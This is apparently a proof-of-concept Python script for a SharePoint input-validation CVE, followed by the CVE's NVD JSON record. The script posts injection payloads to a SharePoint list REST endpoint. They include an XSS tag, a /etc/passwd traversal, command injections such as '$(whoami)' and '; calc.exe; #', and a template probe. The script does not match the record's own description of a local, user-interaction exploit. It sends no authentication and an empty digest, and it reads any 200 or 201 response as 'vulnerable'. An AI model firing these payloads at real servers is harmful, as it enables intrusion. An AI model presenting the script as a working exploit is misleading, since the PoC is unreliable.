CVE-2026-20951

# CVE-2026-20951 PoC - SharePoint Improper Input Validation # This PoC demonstrates the input validation vulnerability in SharePoint # Note: This is for educational and authorized testing purposes only import requests import sys from urllib.parse import urljoin def test_sharepoint_vulnerability(target_url, payload): """ Test for CVE-2026-20951: SharePoint Input Validation Vulnerability This vulnerability allows attackers to inject malicious input through SharePoint forms or document uploads, bypassing input validation checks. """ print(f"[*] Testing target: {target_url}") print(f"[*] Payload: {payload}") # SharePoint endpoint for document upload or form submission endpoint = urljoin(target_url, "/_api/web/lists/getbytitle('Documents')/items") headers = { "Content-Type": "application/json;odata=verbose", "Accept": "application/json;odata=verbose", "X-RequestDigest": "", # Would need valid digest } # Malicious payload exploiting improper input validation malicious_data = { "__metadata": {"type": "SP.ListItem"}, "Title": payload, # Payload injection point "ContentTypeId": "0x0101" } try: # In a real scenario, this would require authentication # and proper request digest response = requests.post(endpoint, json=malicious_data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") return response.status_code == 200 or response.status_code == 201 except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def generate_payload(): """ Generate various payloads to test input validation bypass """ payloads = [ "<script>alert('XSS')</script>", "../../../etc/passwd", "$(whoami)", "{{7*7}}", "; calc.exe; #" ] return payloads if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-20951-poc.py <target_url> [payload]") print("Example: python cve-2026-20951-poc.py https://sharepoint.example.com") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else generate_payload()[0] result = test_sharepoint_vulnerability(target, payload) if result: print("[!] Target may be vulnerable to CVE-2026-20951") else: print("[*] Target does not appear to be vulnerable or requires authentication")

{"cve": {"id": "CVE-2026-20951", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:22.833", "lastModified": "2026-01-14T19:22:17.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Microsoft Office SharePoint allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Validación de entrada indebida en Microsoft Office SharePoint permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20442", "matchCriteriaId": "FB9ECA81-C1E2-4B02-A45C-0E5664E3C9B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20951", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}